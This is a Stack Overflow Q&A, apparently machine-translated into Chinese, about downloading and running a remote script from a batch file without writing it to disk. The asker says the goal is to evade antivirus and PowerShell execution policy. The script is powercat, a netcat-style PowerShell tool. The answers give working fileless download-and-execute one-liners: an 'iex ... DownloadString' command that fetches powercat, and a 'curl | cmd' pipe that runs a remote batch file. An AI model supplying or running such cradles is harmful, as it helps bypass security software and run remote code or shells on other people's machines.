【问题标题】:Download remote file into memory via pure batch通过纯批处理将远程文件下载到内存中
【发布时间】:2020-06-03 04:08:36
【问题描述】:

在我的批处理脚本中,我正在尝试远程下载并执行一个 powershell 脚本。这是网址:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

我想将文件下载到内存中(不接触磁盘),有几个原因:

  1. 它绕过了 AV 检测
  2. 它绕过了 Powershell 执行策略,因此不需要导致 AV 检测的 powershell -nop -ep bypass
  3. 不会抛出不必要的语法错误
  4. 您可以直接使用 .ps1 脚本中定义的函数

显然我可以使用certutil:

certutil -urlcache -split -f <url>

但我不希望文件进入磁盘,这会导致 AV 检测。
使用其他语言(例如 PowerShell)也可以轻松完成同样的事情:

(New-Object Net.WebClient).DownloadString($url)

(New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()

我知道批处理不是执行此操作的最佳语言,但这可能吗? (我想要纯批次

【问题讨论】:

标签: powershell batch-file cmd


【解决方案1】:

我知道你想要纯批处理,但说真的,即使使用 powershell 的Restricted 执行策略,它也允许单独的命令。见https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7

那么简单

powershell -command iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

【讨论】:

  • 我已经知道如何使用DownloadString,但是感谢您指出不使用powershell是没有意义的。
  • @HackingAddict1337 但是如果你正在运行一个powershell脚本,你仍然必须运行powershell程序,那为什么不呢?
【解决方案2】:

无需临时文件即可下载并执行

curl -s https://example.com/test.bat | cmd /v:on /k

示例 test.bat

@echo off
(
cls

echo Hello
echo Time: !time!
exit
)

构建代码

正如Force batch file to load to RAM before running 中所说,您可以缓存单个命令块。

有一些限制:

  • 它在 cmd(不是批处理)上下文中运行, 变量扩展有点不同。
  • 标签不能使用

通过这种技术,您可以使用普通的batch macro style

【讨论】:

  • 我来不及回应,但GOTO :NONEXISTANTLABEL 让我大吃一惊!
【解决方案3】:

据我所知,没有。通过读取权限访问文件来批量读取文件。这意味着它不会使用正确的协议来访问 Web 服务器上的文件,除非允许通过 FTP 进行批量读取。

【讨论】:

  • 我想要做的是通过批处理文件向站点发送一个http请求来复制远程文件的内容。它(应该?)与读取权限无关。另外,我使用的是http 而不是 ftp。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2014-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多